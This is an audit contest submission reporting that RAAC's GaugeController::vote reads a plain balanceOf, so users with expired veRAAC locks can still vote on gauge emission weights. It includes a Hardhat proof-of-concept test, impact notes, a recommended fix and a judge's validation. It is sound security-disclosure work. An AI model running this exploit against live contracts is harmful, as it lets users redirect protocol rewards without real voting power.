Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Users with no voting power can vote on gauge emission weights

Summary

The GaugeController allows users to vote on gauge weights using their veRAAC balance. However, the current implementation incorrectly uses a standard balanceOf function, which ignores the decay inherent to ve-tokens. As a result, users can vote using expired or fully-decayed veRAAC balances, effectively allowing them to influence reward distributions even after their true voting power has reduced to zero.

Vulnerability Details

Users can vote on the weights attributed to each guage via GaugeController::vote. These weights are used to determine how much rewards are distributed to each gauge and users who have staked to a particular gauge get RAAC emissions from the gauge they are staked in.

/**
* @notice Core voting functionality for gauge weights
* @dev Updates gauge weights based on user's veToken balance
* @param gauge Address of gauge to vote for
* @param weight New weight value in basis points (0-10000)
*/
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight);
}

The exploit lies in the following line:

uint256 votingPower = veRAACToken.balanceOf(msg.sender);

Voting escrow mechanics work with an ever decreasing user balance as a user's balance is time weighted and as time increases, the user's balance reduces. The balanceOf used in the line above is a standard ERC20 balanceOf function that simply returns the user's balance that they were minted during their initial lock/ whenever they are minted new veRAAC via veRAAC::increase or veRAAC::extend. The problem with this is that this doesnt take the rate of decay into consideration which presents a situation where a user can vote via GaugeController::vote when their voting power is 0. Since the rate of decay isnt taken into account, when a user's lock has expired, the balanceOf function returns the amount of tokens the user has and doesn't consider the impact of time on the user's balance.

Proof Of Code (POC)

This test was run in GaugeController.test.js file in the "Period Management" describe block. There is some extra setup required in this test as the veRAACToken used in this file is a MockToken that doesnt take decay into account. As a result, we have to change the setup to implement veRAACToken.sol. To do this, replace the "GaugeController" descibe block and its beforeEach with the following:

describe("GaugeController", () => {
let gaugeController;
let rwaGauge;
let raacGauge;
let veRAACToken;
let rewardToken;
let owner;
let gaugeAdmin;
let emergencyAdmin;
let feeAdmin;
let raacToken;
let user1;
let user2;
let user3;
let user4;
let users;
const MONTH = 30 * 24 * 3600;
const WEEK = 7 * 24 * 3600;
const WEIGHT_PRECISION = 10000;
const { MaxUint256 } = ethers;
const duration = 365 * 24 * 3600; // 1 year
beforeEach(async () => {
[
owner,
gaugeAdmin,
emergencyAdmin,
feeAdmin,
user1,
user2,
user3,
user4,
...users
] = await ethers.getSigners(); //c added ...users to get all users and added users 3 and 4 to the list of users for testing purposes
// Deploy Mock tokens
const MockToken = await ethers.getContractFactory("MockToken");
/*veRAACToken = await MockToken.deploy("veRAAC Token", "veRAAC", 18);
await veRAACToken.waitForDeployment();
const veRAACAddress = await veRAACToken.getAddress(); */
//c this should use the actual veRAACToken address and not a mock token as veRAAC has different mechanics to this mocktoken because the rate of decay is not considered at all in this mock token which allows for limiting POC's that produce false positives. the above code block was commented out for testing purposes
const MockRAACToken = await ethers.getContractFactory("ERC20Mock");
raacToken = await MockRAACToken.deploy("RAAC Token", "RAAC");
await raacToken.waitForDeployment();
const VeRAACToken = await ethers.getContractFactory("veRAACToken");
veRAACToken = await VeRAACToken.deploy(await raacToken.getAddress());
await veRAACToken.waitForDeployment();
const veRAACAddress = await veRAACToken.getAddress();
rewardToken = await MockToken.deploy("Reward Token", "REWARD", 18);
await rewardToken.waitForDeployment();
const rewardTokenAddress = await rewardToken.getAddress();
// Deploy GaugeController with correct parameters
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(veRAACAddress);
await gaugeController.waitForDeployment();
const gaugeControllerAddress = await gaugeController.getAddress();
// Deploy RWAGauge with correct parameters
const RWAGauge = await ethers.getContractFactory("RWAGauge");
rwaGauge = await RWAGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await rwaGauge.waitForDeployment();
// Deploy RAACGauge with correct parameters
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await raacGauge.waitForDeployment();
// Setup roles
const GAUGE_ADMIN_ROLE = await gaugeController.GAUGE_ADMIN();
const EMERGENCY_ADMIN_ROLE = await gaugeController.EMERGENCY_ADMIN();
const FEE_ADMIN_ROLE = await gaugeController.FEE_ADMIN();
await gaugeController.grantRole(GAUGE_ADMIN_ROLE, gaugeAdmin.address);
await gaugeController.grantRole(
EMERGENCY_ADMIN_ROLE,
emergencyAdmin.address
);
await gaugeController.grantRole(FEE_ADMIN_ROLE, feeAdmin.address);
// Add gauges
await gaugeController.connect(gaugeAdmin).addGauge(
await rwaGauge.getAddress(),
0, // RWA type
0 // Initial weight
);
await gaugeController.connect(gaugeAdmin).addGauge(
await raacGauge.getAddress(),
1, // RAAC type
0 // Initial weight
);
// Initialize gauges
await rwaGauge.grantRole(await rwaGauge.CONTROLLER_ROLE(), owner.address);
await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), owner.address);
});

The relevant test is as follows:

it("user with no voting power can vote", async () => {
//c setup user 1 to lock raac tokens to enable guage voting
const INITIAL_MINT = ethers.parseEther("1000000");
await raacToken.mint(user1.address, INITIAL_MINT);
await raacToken
.connect(user1)
.approve(await veRAACToken.getAddress(), MaxUint256);
//c user 1 locks raac tokens to gain veRAAC voting power
await veRAACToken.connect(user1).lock(INITIAL_MINT, duration);
const user1bal = await veRAACToken.balanceOf(user1.address);
console.log("User 1 balance", user1bal);
//c let user1's duration run out so their voting power is 0
await time.increase(duration + 1);
const user1votingPower = await veRAACToken.getVotingPower(user1.address);
console.log("User 1 voting power", user1votingPower);
await gaugeController
.connect(user1)
.vote(await raacGauge.getAddress(), 5000);
//c with user 1 voting power at 0, they are still about to use their full voting power to vote on the gauge
const user1votes = await gaugeController.userGaugeVotes(
user1.address,
await raacGauge.getAddress()
);
console.log("User 1 votes", user1votes);
assert(user1votes > 0);
});

Impact

Reward Distribution Manipulation: Users with no effective voting power can influence gauge weights, redirecting rewards unfairly.
Governance Exploit: Attackers or malicious actors could strategically lock minimal tokens initially, wait for expiry, and continue influencing critical governance decisions without having genuine economic interest or active token exposure.

Tools Used

Manual Review, Hardhat

Recommendations

Replace the direct call to the standard ERC20 balanceOf function with the appropriate veRAAC-specific voting power function (getVotingPower()):

uint256 votingPower = veRAACToken.getVotingPower(msg.sender);

This ensures voting power correctly reflects real-time token decay and prevents votes from users whose lock duration has expired, safeguarding fair reward distributions and accurate governance outcomes.

Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::_applyBoost, GaugeController::vote, BoostController::calculateBoost use balanceOf() instead of getVotingPower() for vote-escrow tokens, negating time-decay mechanism

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.